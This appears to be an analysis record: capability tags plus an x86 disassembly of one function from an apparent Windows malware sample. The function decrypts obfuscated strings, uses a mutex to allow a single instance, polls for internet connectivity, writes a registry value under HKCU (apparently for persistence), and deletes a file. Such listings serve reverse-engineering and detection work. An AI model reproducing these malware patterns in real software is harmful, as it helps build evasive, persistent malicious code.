Function at 0x401100
Capabilities:
Check internet connectivity via wininet
Check mutex on windows
Delete file

Disassembly:
mov eax, 0x892c
call fcn.00409160
mov eax, dword [esp + 0x8930]
push ebx
push esi
mov dword [0x418a58], eax
call fcn.004073d0
lea ecx, [esp + 0x934]
push ecx
push str.3BCF6B9D2E857C432EC3D06E1B78DBCA7270
call fcn.00408390
mov eax, dword [esp + 0x8948]
add esp, 8
lea esi, [esp + 0x934]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x401168
test cl, cl
je 0x401164
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x401168
add eax, 2
add esi, 2
test cl, cl
jne 0x401140
xor eax, eax
jmp 0x40116d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x401183
call fcn.00401e00
pop esi
xor eax, eax
pop ebx
add esp, 0x892c
ret 0x10
lea eax, [esp + 0x934]
push eax
push str.3BCF696438E57EFBA437DAB4E5FCA6CC14D5
call fcn.00408390
add esp, 8
lea ecx, [esp + 0x934]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov ebx, eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x4011c9
pop esi
mov eax, 1
pop ebx
add esp, 0x892c
ret 0x10
push edi
call fcn.004081c0
mov esi, dword [sym.imp.WININET.dll_InternetGetConnectedState]
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
lea edx, [esp + 0xc]
push 0
push edx
call esi
test eax, eax
jne 0x4011f1
push 0x1388
call edi
jmp 0x4011db
lea eax, [esp + 0x10]
push eax
push str.3BCA66E082F420E6EF3DCCFD50D704BD4BE688FC93EF018E03A2C1E4FDBED13EB45AF38410EA7C50
call fcn.00408390
lea ecx, [esp + 0x18]
push ecx
call fcn.00408130
call fcn.00401c00
lea edx, [esp + 0x944]
push edx
push str.3A0F67E2769ECBF343363A6DEE2C866C3BE441A8E53F74DD02E2727E24E528C23399CB5A395091E970AB2F0219BB5FEECE783B0382C45A67C78A606F25BB0AB89FB28B2BDD4DAFCAB214DD3E0B194AED0C39E7957419C17E2A3215933E2C4737
call fcn.00408390
lea eax, [esp + 0x94c]
push 0x419790
push eax
push 0x80000001
call fcn.00408440
add esp, 0x20
test eax, eax
jne 0x4012f0
mov eax, dword [0x4198c4]
or ecx, 0xffffffff
lea edx, [esp + 0x10]
mov edi, dword [eax]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x938]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
push 0x419790
push edx
push 0x80000001
call fcn.00408650
add esp, 0x10
test eax, eax
je 0x4012f0
lea eax, [esp + 0x10]
push eax
push str.3BC9D4EDFDD30E0650F303D88F08B20628E6B3E91F0C0E278F9C7731E7BA84120EBBD3D302F2862D3142155FB3BB763888A4EC80E6BFC4E86754
call fcn.00408390
lea ecx, [esp + 0x11c]
push ecx
push str.3BCE213E2F3A7EFA2D11787702E0D63D34B41EDB5C927B5B7CA066B2
call fcn.00408390
mov edx, dword [0x41212c]
add esp, 0x10
lea eax, [esp + 0x114]
lea ecx, [esp + 0x938]
push edx
push eax
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x8000
push 1
lea edx, [esp + 0x94c]
push 0x41989c
lea eax, [esp + 0x28]
push edx
push eax
call fcn.00402660
add esp, 0x20
call fcn.004018d0
test eax, eax
pop edi
je 0x401312
push 0x418a5c
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
pop esi
xor eax, eax
pop ebx
add esp, 0x892c
ret 0x10
lea ecx, [esp + 0xc]
push ecx
push str.3BCB2C8994DD2154D514BA2D173AED0D2C11163BE5FAB0173207D5C4AECB6DD0B51255F5
call fcn.00408390
lea edx, [esp + 0x14]
push edx
call fcn.00408130
add esp, 0xc
call fcn.00401390
test eax, eax
je 0x40134f
push 0x418a5c
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
pop esi
xor eax, eax
pop ebx
add esp, 0x892c
ret 0x10
lea eax, [esp + 0xc]
push eax
push str.3BCD954AEB054C7C7781094CF64A5AC4085E7F7D2B8A3958
call fcn.00408390
lea ecx, [esp + 0x14]
push ecx
call fcn.00408130
add esp, 0xc
call fcn.00401f40
push 0x418a5c
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop esi
xor eax, eax
pop ebx
add esp, 0x892c
ret 0x10